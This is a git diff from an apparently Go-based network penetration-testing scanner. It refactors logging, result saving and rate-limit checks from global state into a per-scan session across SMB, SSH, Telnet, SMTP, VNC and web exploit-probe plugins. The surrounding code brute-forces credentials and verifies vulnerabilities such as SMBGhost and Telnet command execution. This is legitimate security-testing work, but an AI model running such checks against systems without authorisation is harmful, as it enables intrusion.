|
||||
}
|
||||
}
|
||||
|
||||
common.LogSuccess(i18n.Tr("rsync_service", target, banner))
|
||||
session.LogSuccess(i18n.Tr("rsync_service", target, banner))
|
||||
|
||||
return &ScanResult{
|
||||
Success: true,
|
||||
|
||||
@@ -49,13 +49,13 @@ func (p *SmbPlugin) Scan(ctx context.Context, info *common.HostInfo, session *co
|
||||
}
|
||||
|
||||
// 输出信息收集结果
|
||||
p.logSMBInfo(target, smbTarget)
|
||||
p.logSMBInfo(target, smbTarget, session)
|
||||
|
||||
// 2. 漏洞检测 (仅SMBv2+且端口445)
|
||||
if smbTarget.Protocol == SMBProtocol2 && info.Port == 445 {
|
||||
if checkSMBGhost(ctx, info.Host, config.Timeout, session) {
|
||||
smbTarget.Vulnerable = &SMBVuln{CVE20200796: true}
|
||||
common.LogVuln(i18n.Tr("smbghost_vuln", target))
|
||||
session.LogVuln(i18n.Tr("smbghost_vuln", target))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -75,7 +75,7 @@ func (p *SmbPlugin) Scan(ctx context.Context, info *common.HostInfo, session *co
|
||||
} else {
|
||||
successMsg = i18n.Tr("smb_unauth_access", target, result.Username, result.Password)
|
||||
}
|
||||
common.LogVuln(successMsg)
|
||||
session.LogVuln(successMsg)
|
||||
return result
|
||||
}
|
||||
|
||||
@@ -102,7 +102,7 @@ func (p *SmbPlugin) Scan(ctx context.Context, info *common.HostInfo, session *co
|
||||
} else {
|
||||
successMsg = fmt.Sprintf("SMB %s %s:%s", target, result.Username, result.Password)
|
||||
}
|
||||
common.LogVuln(successMsg)
|
||||
session.LogVuln(successMsg)
|
||||
}
|
||||
|
||||
return result
|
||||
@@ -148,7 +148,7 @@ func (p *SmbPlugin) testUnauthorizedAccess(ctx context.Context, info *common.Hos
|
||||
fmt.Fprintf(&output, "\n%s", share)
|
||||
}
|
||||
|
||||
common.LogSuccess(output.String())
|
||||
session.LogSuccess(output.String())
|
||||
|
||||
return &ScanResult{
|
||||
Success: true,
|
||||
@@ -165,7 +165,7 @@ func (p *SmbPlugin) testUnauthorizedAccess(ctx context.Context, info *common.Hos
|
||||
}
|
||||
|
||||
// logSMBInfo 输出SMB信息
|
||||
func (p *SmbPlugin) logSMBInfo(target string, info *SMBTarget) {
|
||||
func (p *SmbPlugin) logSMBInfo(target string, info *SMBTarget, session *common.ScanSession) {
|
||||
msg := fmt.Sprintf("SMBInfo %s", target)
|
||||
if info.OSVersion != "" {
|
||||
msg += fmt.Sprintf(" [%s]", info.OSVersion)
|
||||
@@ -174,7 +174,7 @@ func (p *SmbPlugin) logSMBInfo(target string, info *SMBTarget) {
|
||||
msg += fmt.Sprintf(" %s", info.ComputerName)
|
||||
}
|
||||
msg += fmt.Sprintf(" %s", info.Protocol.String())
|
||||
common.LogSuccess(msg)
|
||||
session.LogSuccess(msg)
|
||||
}
|
||||
|
||||
// buildInfoResult 构建信息收集结果
|
||||
|
||||
@@ -222,7 +222,7 @@ func probeTarget(ctx context.Context, host string, port int, timeout time.Durati
|
||||
// 读取SMBv1协商响应
|
||||
r1, err := readSMBMessage(conn)
|
||||
if err != nil {
|
||||
common.LogDebug(i18n.Tr("smbv1_negotiate_read_failed", err))
|
||||
session.LogDebug(i18n.Tr("smbv1_negotiate_read_failed", err))
|
||||
}
|
||||
|
||||
// 检查是否支持SMBv1
|
||||
|
||||
@@ -35,7 +35,7 @@ func (p *SMTPPlugin) Scan(ctx context.Context, info *common.HostInfo, session *c
|
||||
|
||||
// 检测未授权访问
|
||||
if result := p.testUnauthorizedAccess(ctx, info, session); result != nil && result.Success {
|
||||
common.LogSuccess(i18n.Tr("smtp_service", target, result.Banner))
|
||||
session.LogSuccess(i18n.Tr("smtp_service", target, result.Banner))
|
||||
return result
|
||||
}
|
||||
|
||||
@@ -62,7 +62,7 @@ func (p *SMTPPlugin) Scan(ctx context.Context, info *common.HostInfo, session *c
|
||||
result := TestCredentialsConcurrently(ctx, creds, authFn, "smtp", testConfig)
|
||||
|
||||
if result.Success {
|
||||
common.LogVuln(i18n.Tr("smtp_credential", target, result.Username, result.Password))
|
||||
session.LogVuln(i18n.Tr("smtp_credential", target, result.Username, result.Password))
|
||||
}
|
||||
|
||||
return result
|
||||
@@ -536,7 +536,7 @@ func (p *SMTPPlugin) identifyService(ctx context.Context, info *common.HostInfo,
|
||||
banner = i18n.GetText("smtp_mail_service")
|
||||
}
|
||||
|
||||
common.LogSuccess(i18n.Tr("smtp_service", target, banner))
|
||||
session.LogSuccess(i18n.Tr("smtp_service", target, banner))
|
||||
|
||||
return &ScanResult{
|
||||
Success: true,
|
||||
|
||||
@@ -41,7 +41,7 @@ func (p *SSHPlugin) Scan(ctx context.Context, info *common.HostInfo, session *co
|
||||
// 如果指定了SSH密钥,优先使用密钥认证
|
||||
if config.Credentials.SSHKeyPath != "" {
|
||||
if result := p.scanWithKey(ctx, info, session); result != nil && result.Success {
|
||||
common.LogVuln(i18n.Tr("ssh_key_auth_success", target, result.Username)) //nolint:govet
|
||||
session.LogVuln(i18n.Tr("ssh_key_auth_success", target, result.Username)) //nolint:govet
|
||||
return result
|
||||
}
|
||||
}
|
||||
@@ -71,7 +71,7 @@ func (p *SSHPlugin) Scan(ctx context.Context, info *common.HostInfo, session *co
|
||||
|
||||
// 记录成功
|
||||
if result.Success {
|
||||
common.LogVuln(i18n.Tr("ssh_pwd_auth_success", target, result.Username, result.Password)) //nolint:govet
|
||||
session.LogVuln(i18n.Tr("ssh_pwd_auth_success", target, result.Username, result.Password)) //nolint:govet
|
||||
}
|
||||
|
||||
return result
|
||||
@@ -182,7 +182,7 @@ func (p *SSHPlugin) scanWithKey(ctx context.Context, info *common.HostInfo, sess
|
||||
config := session.Config
|
||||
keyData, err := os.ReadFile(config.Credentials.SSHKeyPath)
|
||||
if err != nil {
|
||||
common.LogError(i18n.Tr("ssh_key_read_failed", err)) //nolint:govet
|
||||
session.LogError(i18n.Tr("ssh_key_read_failed", err)) //nolint:govet
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -236,7 +236,7 @@ func (p *SSHPlugin) identifyService(ctx context.Context, info *common.HostInfo,
|
||||
defer func() { _ = conn.Close() }()
|
||||
|
||||
if banner := p.readSSHBanner(conn, session.Config); banner != "" {
|
||||
common.LogSuccess(i18n.Tr("ssh_service_identified", target, banner)) //nolint:govet
|
||||
session.LogSuccess(i18n.Tr("ssh_service_identified", target, banner)) //nolint:govet
|
||||
return &ScanResult{
|
||||
Type: plugins.ResultTypeService,
|
||||
Success: true,
|
||||
|
||||
@@ -61,10 +61,10 @@ func (p *TelnetPlugin) Scan(ctx context.Context, info *common.HostInfo, session
|
||||
|
||||
// 检测未授权访问
|
||||
if result := p.testUnauthAccess(ctx, info, session); result != nil && result.Success {
|
||||
common.LogVuln(i18n.Tr("telnet_service", target, result.Banner))
|
||||
session.LogVuln(i18n.Tr("telnet_service", target, result.Banner))
|
||||
// 验证命令执行能力
|
||||
if ok, osType, evidence := p.verifyCommandExecution(ctx, info, "", "", session); ok {
|
||||
common.LogVuln(i18n.Tr("telnet_unauth_rce", target, osType, evidence))
|
||||
session.LogVuln(i18n.Tr("telnet_unauth_rce", target, osType, evidence))
|
||||
}
|
||||
return result
|
||||
}
|
||||
@@ -97,10 +97,10 @@ func (p *TelnetPlugin) Scan(ctx context.Context, info *common.HostInfo, session
|
||||
result := TestCredentialsConcurrently(ctx, creds, authFn, "telnet", testConfig)
|
||||
|
||||
if result.Success {
|
||||
common.LogVuln(i18n.Tr("telnet_credential", target, result.Username, result.Password))
|
||||
session.LogVuln(i18n.Tr("telnet_credential", target, result.Username, result.Password))
|
||||
// 验证命令执行能力
|
||||
if ok, osType, evidence := p.verifyCommandExecution(ctx, info, result.Username, result.Password, session); ok {
|
||||
common.LogVuln(i18n.Tr("telnet_credential_rce", target, result.Username, result.Password, osType, evidence))
|
||||
session.LogVuln(i18n.Tr("telnet_credential_rce", target, result.Username, result.Password, osType, evidence))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -559,9 +559,9 @@ func (p *TelnetPlugin) identifyService(ctx context.Context, info *common.HostInf
|
||||
}
|
||||
|
||||
if p.isShellPrompt(cleaned) {
|
||||
common.LogVuln(i18n.Tr("telnet_service", target, banner))
|
||||
session.LogVuln(i18n.Tr("telnet_service", target, banner))
|
||||
} else {
|
||||
common.LogSuccess(i18n.Tr("telnet_service", target, banner))
|
||||
session.LogSuccess(i18n.Tr("telnet_service", target, banner))
|
||||
}
|
||||
|
||||
resultChan <- &ScanResult{
|
||||
@@ -798,7 +798,7 @@ func (p *TelnetPlugin) checkCVE202624061Concurrent(ctx context.Context, info *co
|
||||
|
||||
if hit, ok := <-ch; ok {
|
||||
target := info.Target()
|
||||
common.LogVuln(i18n.Tr("telnet_cve202624061", target, hit.user, hit.evidence))
|
||||
session.LogVuln(i18n.Tr("telnet_cve202624061", target, hit.user, hit.evidence))
|
||||
return &ScanResult{
|
||||
Success: true,
|
||||
Type: plugins.ResultTypeVuln,
|
||||
|
||||
@@ -30,7 +30,7 @@ func (p *VNCPlugin) Scan(ctx context.Context, info *common.HostInfo, session *co
|
||||
|
||||
// 检查未授权访问
|
||||
if result := p.testUnauthAccess(ctx, info, session); result != nil && result.Success {
|
||||
common.LogVuln(i18n.Tr("vnc_unauth", target))
|
||||
session.LogVuln(i18n.Tr("vnc_unauth", target))
|
||||
return result
|
||||
}
|
||||
|
||||
@@ -54,7 +54,7 @@ func (p *VNCPlugin) Scan(ctx context.Context, info *common.HostInfo, session *co
|
||||
result := TestCredentialsConcurrently(ctx, credentials, authFn, "vnc", testConfig)
|
||||
|
||||
if result.Success {
|
||||
common.LogVuln(i18n.Tr("vnc_credential", target, result.Password))
|
||||
session.LogVuln(i18n.Tr("vnc_credential", target, result.Password))
|
||||
}
|
||||
|
||||
return result
|
||||
|
||||
@@ -107,8 +107,8 @@ func (p *WebPocPlugin) Scan(ctx context.Context, info *common.HostInfo, session
|
||||
|
||||
// 全量模式:忽略指纹和CDN/WAF检测,直接扫描所有POC
|
||||
target := info.Target()
|
||||
common.LogDebug(i18n.Tr("webpoc_full_scan_mode", target))
|
||||
WebScan.WebScan(ctx, info, config)
|
||||
session.LogDebug(i18n.Tr("webpoc_full_scan_mode", target))
|
||||
WebScan.WebScan(ctx, info, config, session)
|
||||
|
||||
return &WebScanResult{
|
||||
Type: plugins.ResultTypeWeb,
|
||||
|
||||
+10
-10
@@ -65,9 +65,9 @@ func (p *WebTitlePlugin) Scan(ctx context.Context, info *common.HostInfo, sessio
|
||||
|
||||
// 有指纹用绿色,无指纹用白色
|
||||
if len(fingerprints) > 0 {
|
||||
common.LogSuccess(msg)
|
||||
session.LogSuccess(msg)
|
||||
} else {
|
||||
common.LogInfo(msg)
|
||||
session.LogInfo(msg)
|
||||
}
|
||||
|
||||
return &WebScanResult{
|
||||
@@ -175,7 +175,7 @@ func (p *WebTitlePlugin) getWebTitle(ctx context.Context, info *common.HostInfo,
|
||||
}
|
||||
|
||||
// 执行指纹识别(合并原始响应和跳转后响应的指纹)
|
||||
fingerprints := p.identifyFingerprintsMulti(ctx, info, baseURL, checkDataList, config)
|
||||
fingerprints := p.identifyFingerprintsMulti(ctx, info, baseURL, checkDataList, config, session)
|
||||
|
||||
return title, statusCode, contentLen, server, fingerprints, displayURL, nil
|
||||
}
|
||||
@@ -204,38 +204,38 @@ func (p *WebTitlePlugin) resolveRedirectURL(baseURL, location string) string {
|
||||
}
|
||||
|
||||
// identifyFingerprintsMulti 识别多个响应的指纹并合并
|
||||
func (p *WebTitlePlugin) identifyFingerprintsMulti(ctx context.Context, info *common.HostInfo, baseURL string, checkDataList []WebScan.CheckDatas, config *common.Config) []string {
|
||||
func (p *WebTitlePlugin) identifyFingerprintsMulti(ctx context.Context, info *common.HostInfo, baseURL string, checkDataList []WebScan.CheckDatas, config *common.Config, session *common.ScanSession) []string {
|
||||
// 调用指纹识别
|
||||
fingerprints := WebScan.InfoCheck(baseURL, &checkDataList)
|
||||
|
||||
// 非全量模式下,基于指纹触发POC扫描
|
||||
if !config.POC.Full && !config.POC.Disabled {
|
||||
p.triggerPocScan(ctx, info, fingerprints, config)
|
||||
p.triggerPocScan(ctx, info, fingerprints, config, session)
|
||||
}
|
||||
|
||||
return fingerprints
|
||||
}
|
||||
|
||||
// triggerPocScan 基于指纹触发POC扫描
|
||||
func (p *WebTitlePlugin) triggerPocScan(ctx context.Context, info *common.HostInfo, fingerprints []string, config *common.Config) {
|
||||
func (p *WebTitlePlugin) triggerPocScan(ctx context.Context, info *common.HostInfo, fingerprints []string, config *common.Config, session *common.ScanSession) {
|
||||
target := info.Target()
|
||||
|
||||
// 无指纹,跳过
|
||||
if len(fingerprints) == 0 {
|
||||
common.LogDebug(i18n.Tr("webtitle_no_fingerprint_skip_poc", target))
|
||||
session.LogDebug(i18n.Tr("webtitle_no_fingerprint_skip_poc", target))
|
||||
return
|
||||
}
|
||||
|
||||
// 检测CDN/WAF
|
||||
if cdnName := matchCDNorWAF(fingerprints); cdnName != "" {
|
||||
common.LogDebug(i18n.Tr("webtitle_cdn_waf_skip_poc", target, cdnName))
|
||||
session.LogDebug(i18n.Tr("webtitle_cdn_waf_skip_poc", target, cdnName))
|
||||
return
|
||||
}
|
||||
|
||||
// 基于指纹执行POC扫描
|
||||
common.LogDebug(i18n.Tr("webtitle_trigger_fingerprint_poc", target, fingerprints))
|
||||
session.LogDebug(i18n.Tr("webtitle_trigger_fingerprint_poc", target, fingerprints))
|
||||
info.Info = fingerprints
|
||||
WebScan.WebScan(ctx, info, config)
|
||||
WebScan.WebScan(ctx, info, config, session)
|
||||
}
|
||||
|
||||
// formatHeaders 将 HTTP Header 格式化为字符串
|
||||
|
||||
+22
-7
@@ -367,7 +367,7 @@ func reverseCheck(r *Reverse, timeout int64) bool {
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
resp, err := DoRequest(req, false)
|
||||
resp, err := DoRequest(req, false, nil)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
@@ -419,7 +419,8 @@ func RandomStr(randSource *rand.Rand, letterBytes string, n int) string {
|
||||
}
|
||||
|
||||
// DoRequest 执行 HTTP 请求
|
||||
func DoRequest(req *http.Request, redirect bool) (*Response, error) {
|
||||
// session 为 nil 时回退到全局 state(兼容 CEL runtime 等无 session 场景)
|
||||
func DoRequest(req *http.Request, redirect bool, session *common.ScanSession) (*Response, error) {
|
||||
// 处理请求头
|
||||
if req.Body != nil && req.Body != http.NoBody {
|
||||
body, err := io.ReadAll(req.Body)
|
||||
@@ -444,9 +445,23 @@ func DoRequest(req *http.Request, redirect bool) (*Response, error) {
|
||||
|
||||
// 执行请求
|
||||
// 检查发包限制
|
||||
if canSend, reason := common.CanSendPacket(); !canSend {
|
||||
common.LogError(i18n.Tr("webscan_request_restricted", req.URL.String(), reason))
|
||||
return nil, fmt.Errorf("%s", i18n.Tr("network_rate_limited", reason))
|
||||
var state *common.State
|
||||
if session != nil {
|
||||
state = session.State
|
||||
if canSend, err := common.CanSendPacketWith(session.Config, state); !canSend {
|
||||
reason := ""
|
||||
if err != nil {
|
||||
reason = err.Error()
|
||||
}
|
||||
common.LogError(i18n.Tr("webscan_request_restricted", req.URL.String(), reason))
|
||||
return nil, fmt.Errorf("%s", i18n.Tr("network_rate_limited", reason))
|
||||
}
|
||||
} else {
|
||||
state = common.GetGlobalState()
|
||||
if canSend, reason := common.CanSendPacket(); !canSend {
|
||||
common.LogError(i18n.Tr("webscan_request_restricted", req.URL.String(), reason))
|
||||
return nil, fmt.Errorf("%s", i18n.Tr("network_rate_limited", reason))
|
||||
}
|
||||
}
|
||||
|
||||
var (
|
||||
@@ -480,12 +495,12 @@ func DoRequest(req *http.Request, redirect bool) (*Response, error) {
|
||||
|
||||
if err != nil {
|
||||
// HTTP请求失败,计为TCP失败
|
||||
common.GetGlobalState().IncrementTCPFailedPacketCount()
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
return nil, fmt.Errorf("%s: %w", i18n.GetText("webscan_request_execute_failed"), err)
|
||||
}
|
||||
|
||||
// HTTP请求成功,计为TCP成功
|
||||
common.GetGlobalState().IncrementTCPSuccessPacketCount()
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
defer func() { _ = oResp.Body.Close() }()
|
||||
|
||||
// 解析响应
|
||||
|
||||
@@ -1104,7 +1104,7 @@ func TestDoRequestBuffersUnknownLengthBody(t *testing.T) {
|
||||
}
|
||||
req.ContentLength = -1
|
||||
|
||||
if _, err := DoRequest(req, false); err != nil {
|
||||
if _, err := DoRequest(req, false, nil); err != nil {
|
||||
t.Fatalf("DoRequest error = %v", err)
|
||||
}
|
||||
if gotContentLength != "3" {
|
||||
@@ -1147,7 +1147,7 @@ func TestDoRequestReplaysBodyForGMTLSFallback(t *testing.T) {
|
||||
t.Fatalf("NewRequest error = %v", err)
|
||||
}
|
||||
|
||||
if _, err := DoRequest(req, false); err != nil {
|
||||
if _, err := DoRequest(req, false, nil); err != nil {
|
||||
t.Fatalf("DoRequest error = %v", err)
|
||||
}
|
||||
if gotBody != "payload" {
|
||||
|
||||
+18
-17
@@ -52,6 +52,7 @@ type VulnResult struct {
|
||||
type POCContext struct {
|
||||
DNSLog bool // 是否启用DNSLog检测
|
||||
POCFull bool // 是否完整POC扫描
|
||||
Session *common.ScanSession
|
||||
}
|
||||
|
||||
// CheckMultiPoc 并发执行多个POC检测
|
||||
@@ -82,7 +83,7 @@ func CheckMultiPoc(req *http.Request, pocs []*Poc, workers int, pocCtx *POCConte
|
||||
|
||||
// 处理执行过程中的错误
|
||||
if err != nil {
|
||||
common.LogError(i18n.Tr("webscan_poc_exec_error", task.Poc.Name, err))
|
||||
pocCtx.Session.LogError(i18n.Tr("webscan_poc_exec_error", task.Poc.Name, err))
|
||||
continue
|
||||
}
|
||||
|
||||
@@ -117,7 +118,7 @@ func CheckMultiPoc(req *http.Request, pocs []*Poc, workers int, pocCtx *POCConte
|
||||
Status: "vulnerable",
|
||||
Details: details,
|
||||
}
|
||||
_ = common.SaveResult(result)
|
||||
_ = pocCtx.Session.SaveResult(result)
|
||||
|
||||
// 构造控制台输出的日志信息
|
||||
logMsg := i18n.Tr("webscan_vuln_detail_header",
|
||||
@@ -141,7 +142,7 @@ func CheckMultiPoc(req *http.Request, pocs []*Poc, workers int, pocCtx *POCConte
|
||||
}
|
||||
|
||||
// 输出成功日志
|
||||
common.LogVuln(logMsg)
|
||||
pocCtx.Session.LogVuln(logMsg)
|
||||
}
|
||||
}
|
||||
}()
|
||||
@@ -216,7 +217,7 @@ func executePoc(oReq *http.Request, p *Poc, pocCtx *POCContext) (bool, string, e
|
||||
continue
|
||||
}
|
||||
if _, err = evalset(env, variableMap, key, expression); err != nil {
|
||||
common.LogError(i18n.Tr("webscan_set_exec_error", p.Name, err))
|
||||
pocCtx.Session.LogError(i18n.Tr("webscan_set_exec_error", p.Name, err))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -226,11 +227,11 @@ func executePoc(oReq *http.Request, p *Poc, pocCtx *POCContext) (bool, string, e
|
||||
return success, "", err
|
||||
}
|
||||
|
||||
return executeRules(oReq, p, variableMap, req, env)
|
||||
return executeRules(oReq, p, variableMap, req, env, pocCtx.Session)
|
||||
}
|
||||
|
||||
// executeRules 执行POC规则并返回结果
|
||||
func executeRules(oReq *http.Request, p *Poc, variableMap map[string]interface{}, req *Request, env *cel.Env) (bool, string, error) {
|
||||
func executeRules(oReq *http.Request, p *Poc, variableMap map[string]interface{}, req *Request, env *cel.Env, session *common.ScanSession) (bool, string, error) {
|
||||
// 处理单个规则的函数
|
||||
executeRule := func(rule Rules) (bool, error) {
|
||||
Headers := cloneMap(rule.Headers)
|
||||
@@ -279,7 +280,7 @@ func executeRules(oReq *http.Request, p *Poc, variableMap map[string]interface{}
|
||||
_ = Headers // 清空Headers
|
||||
|
||||
// 发送请求
|
||||
resp, err := DoRequest(newRequest, rule.FollowRedirects)
|
||||
resp, err := DoRequest(newRequest, rule.FollowRedirects, session)
|
||||
newRequest = nil
|
||||
if err != nil {
|
||||
return false, err
|
||||
@@ -447,7 +448,7 @@ func clusterpoc(oReq *http.Request, p *Poc, variableMap map[string]interface{},
|
||||
// 检查是否需要进行参数Fuzz测试
|
||||
if !isFuzz(rule, p.Sets) {
|
||||
// 不需要Fuzz,直接发送请求
|
||||
success, err = clustersend(oReq, variableMap, req, env, rule)
|
||||
success, err = clustersend(oReq, variableMap, req, env, rule, pocCtx.Session)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
@@ -492,7 +493,7 @@ func clusterpoc(oReq *http.Request, p *Poc, variableMap map[string]interface{},
|
||||
}
|
||||
output, err := evalset1(env, variableMap, key, expr)
|
||||
if err != nil {
|
||||
common.LogError(i18n.Tr("webscan_set_exec_error", key, err))
|
||||
pocCtx.Session.LogError(i18n.Tr("webscan_set_exec_error", key, err))
|
||||
}
|
||||
payloads[key] = output
|
||||
}
|
||||
@@ -513,7 +514,7 @@ func clusterpoc(oReq *http.Request, p *Poc, variableMap map[string]interface{},
|
||||
ruleHash[ruleMD5] = struct{}{}
|
||||
|
||||
// 发送请求并处理结果
|
||||
success, err = clustersend(oReq, variableMap, req, env, currentRule)
|
||||
success, err = clustersend(oReq, variableMap, req, env, currentRule, pocCtx.Session)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
@@ -524,7 +525,7 @@ func clusterpoc(oReq *http.Request, p *Poc, variableMap map[string]interface{},
|
||||
// 处理成功情况
|
||||
if currentRule.Continue {
|
||||
// 使用Continue标志时,记录但继续测试其他参数
|
||||
recordVulnerabilityResult(targetURL, p, currentParams, false)
|
||||
recordVulnerabilityResult(targetURL, p, currentParams, false, pocCtx.Session)
|
||||
continue
|
||||
}
|
||||
|
||||
@@ -532,7 +533,7 @@ func clusterpoc(oReq *http.Request, p *Poc, variableMap map[string]interface{},
|
||||
strMap = append(strMap, currentParams...)
|
||||
if ruleIndex == len(p.Rules)-1 {
|
||||
// 最终规则成功,记录完整的结果并返回
|
||||
recordVulnerabilityResult(targetURL, p, strMap, false)
|
||||
recordVulnerabilityResult(targetURL, p, strMap, false, pocCtx.Session)
|
||||
return false, nil
|
||||
}
|
||||
break paramLoop
|
||||
@@ -617,7 +618,7 @@ func getRuleHash(rule *Rules) string {
|
||||
}
|
||||
|
||||
// recordVulnerabilityResult 记录漏洞检测结果
|
||||
func recordVulnerabilityResult(targetURL string, pocDef *Poc, params StrMap, skipSave bool) {
|
||||
func recordVulnerabilityResult(targetURL string, pocDef *Poc, params StrMap, skipSave bool, session *common.ScanSession) {
|
||||
// 构造详细信息
|
||||
details := make(map[string]interface{})
|
||||
details["vulnerability_type"] = pocDef.Name
|
||||
@@ -656,7 +657,7 @@ func recordVulnerabilityResult(targetURL string, pocDef *Poc, params StrMap, ski
|
||||
Status: "vulnerable",
|
||||
Details: details,
|
||||
}
|
||||
_ = common.SaveResult(result)
|
||||
_ = session.SaveResult(result)
|
||||
}
|
||||
|
||||
// 生成日志消息
|
||||
@@ -668,7 +669,7 @@ func recordVulnerabilityResult(targetURL string, pocDef *Poc, params StrMap, ski
|
||||
}
|
||||
|
||||
// 输出成功日志
|
||||
common.LogVuln(logMsg)
|
||||
session.LogVuln(logMsg)
|
||||
}
|
||||
|
||||
// isFuzz 检查规则是否包含需要Fuzz测试的参数
|
||||
@@ -738,7 +739,7 @@ func MakeData(base [][]string, nextData []string) [][]string {
|
||||
}
|
||||
|
||||
// clustersend 执行单个规则的HTTP请求和响应检测
|
||||
func clustersend(oReq *http.Request, variableMap map[string]interface{}, req *Request, env *cel.Env, rule Rules) (bool, error) {
|
||||
func clustersend(oReq *http.Request, variableMap map[string]interface{}, req *Request, env *cel.Env, rule Rules, session *common.ScanSession) (bool, error) {
|
||||
// 替换请求中的变量
|
||||
for varName, varValue := range variableMap {
|
||||
// 跳过map类型的变量
|
||||
@@ -786,7 +787,7 @@ func clustersend(oReq *http.Request, variableMap map[string]interface{}, req *Re
|
||||
}
|
||||
|
||||
// 发送请求
|
||||
resp, err := DoRequest(newRequest, rule.FollowRedirects)
|
||||
resp, err := DoRequest(newRequest, rule.FollowRedirects, session)
|
||||
if err != nil {
|
||||
return false, fmt.Errorf("%s: %w", i18n.GetText("webscan_request_send_error"), err)
|
||||
}
|
||||
|
||||
+15
-14
@@ -48,7 +48,7 @@ var (
|
||||
)
|
||||
|
||||
// WebScan 执行Web漏洞扫描
|
||||
func WebScan(ctx context.Context, info *common.HostInfo, cfg *common.Config) {
|
||||
func WebScan(ctx context.Context, info *common.HostInfo, cfg *common.Config, session *common.ScanSession) {
|
||||
// 初始化POC配置(用于CEL回调函数)
|
||||
lib.InitPOCConfig(cfg.DNSLog)
|
||||
|
||||
@@ -65,19 +65,19 @@ func WebScan(ctx context.Context, info *common.HostInfo, cfg *common.Config) {
|
||||
|
||||
// 验证输入
|
||||
if info == nil {
|
||||
common.LogError(i18n.GetText("invalid_scan_target"))
|
||||
session.LogError(i18n.GetText("invalid_scan_target"))
|
||||
return
|
||||
}
|
||||
|
||||
if len(allPocs) == 0 {
|
||||
common.LogError(i18n.GetText("poc_load_failed"))
|
||||
session.LogError(i18n.GetText("poc_load_failed"))
|
||||
return
|
||||
}
|
||||
|
||||
// 构建目标URL
|
||||
target, err := buildTargetURL(info)
|
||||
if err != nil {
|
||||
common.LogError(i18n.Tr("webscan_target_url_failed", err))
|
||||
session.LogError(i18n.Tr("webscan_target_url_failed", err))
|
||||
return
|
||||
}
|
||||
|
||||
@@ -91,13 +91,13 @@ func WebScan(ctx context.Context, info *common.HostInfo, cfg *common.Config) {
|
||||
// 根据扫描策略执行POC
|
||||
if cfg.POC.PocName == "" && len(info.Info) == 0 {
|
||||
// 执行所有POC
|
||||
executePOCs(ctx, config.PocInfo{Target: target}, cfg)
|
||||
executePOCs(ctx, config.PocInfo{Target: target}, cfg, session)
|
||||
} else if len(info.Info) > 0 {
|
||||
// 基于指纹信息执行POC
|
||||
scanByFingerprints(ctx, target, info.Info, cfg)
|
||||
scanByFingerprints(ctx, target, info.Info, cfg, session)
|
||||
} else if cfg.POC.PocName != "" {
|
||||
// 基于指定POC名称执行
|
||||
executePOCs(ctx, config.PocInfo{Target: target, PocName: cfg.POC.PocName}, cfg)
|
||||
executePOCs(ctx, config.PocInfo{Target: target, PocName: cfg.POC.PocName}, cfg, session)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -126,7 +126,7 @@ func hasProtocolPrefix(urlStr string) bool {
|
||||
}
|
||||
|
||||
// scanByFingerprints 根据指纹执行POC
|
||||
func scanByFingerprints(ctx context.Context, target string, fingerprints []string, cfg *common.Config) {
|
||||
func scanByFingerprints(ctx context.Context, target string, fingerprints []string, cfg *common.Config, session *common.ScanSession) {
|
||||
for _, fingerprint := range fingerprints {
|
||||
if fingerprint == "" {
|
||||
continue
|
||||
@@ -137,15 +137,15 @@ func scanByFingerprints(ctx context.Context, target string, fingerprints []strin
|
||||
continue
|
||||
}
|
||||
|
||||
executePOCs(ctx, config.PocInfo{Target: target, PocName: pocName}, cfg)
|
||||
executePOCs(ctx, config.PocInfo{Target: target, PocName: pocName}, cfg, session)
|
||||
}
|
||||
}
|
||||
|
||||
// executePOCs 执行POC检测
|
||||
func executePOCs(ctx context.Context, pocInfo config.PocInfo, cfg *common.Config) {
|
||||
func executePOCs(ctx context.Context, pocInfo config.PocInfo, cfg *common.Config, session *common.ScanSession) {
|
||||
// 验证目标
|
||||
if pocInfo.Target == "" {
|
||||
common.LogError(ErrEmptyTarget.Error())
|
||||
session.LogError(ErrEmptyTarget.Error())
|
||||
return
|
||||
}
|
||||
|
||||
@@ -157,21 +157,21 @@ func executePOCs(ctx context.Context, pocInfo config.PocInfo, cfg *common.Config
|
||||
// 验证URL
|
||||
_, err := url.Parse(pocInfo.Target)
|
||||
if err != nil {
|
||||
common.LogError(i18n.Tr("webscan_invalid_url", ErrInvalidURL, pocInfo.Target, err))
|
||||
session.LogError(i18n.Tr("webscan_invalid_url", ErrInvalidURL, pocInfo.Target, err))
|
||||
return
|
||||
}
|
||||
|
||||
// 创建基础请求
|
||||
req, err := createBaseRequest(ctx, pocInfo.Target, cfg)
|
||||
if err != nil {
|
||||
common.LogError(i18n.Tr("webscan_request_create_failed", err))
|
||||
session.LogError(i18n.Tr("webscan_request_create_failed", err))
|
||||
return
|
||||
}
|
||||
|
||||
// 筛选POC
|
||||
matchedPocs := filterPocs(pocInfo.PocName)
|
||||
if len(matchedPocs) == 0 {
|
||||
common.LogDebug(fmt.Sprintf("%v: %s", ErrPocNotFound, pocInfo.PocName))
|
||||
session.LogDebug(fmt.Sprintf("%v: %s", ErrPocNotFound, pocInfo.PocName))
|
||||
return
|
||||
}
|
||||
|
||||
@@ -179,6 +179,7 @@ func executePOCs(ctx context.Context, pocInfo config.PocInfo, cfg *common.Config
|
||||
pocCtx := &lib.POCContext{
|
||||
DNSLog: cfg.DNSLog,
|
||||
POCFull: cfg.POC.Full,
|
||||
Session: session,
|
||||
}
|
||||
|
||||
// 执行POC检测
|
||||
|
||||
Reference in New Issue
Block a user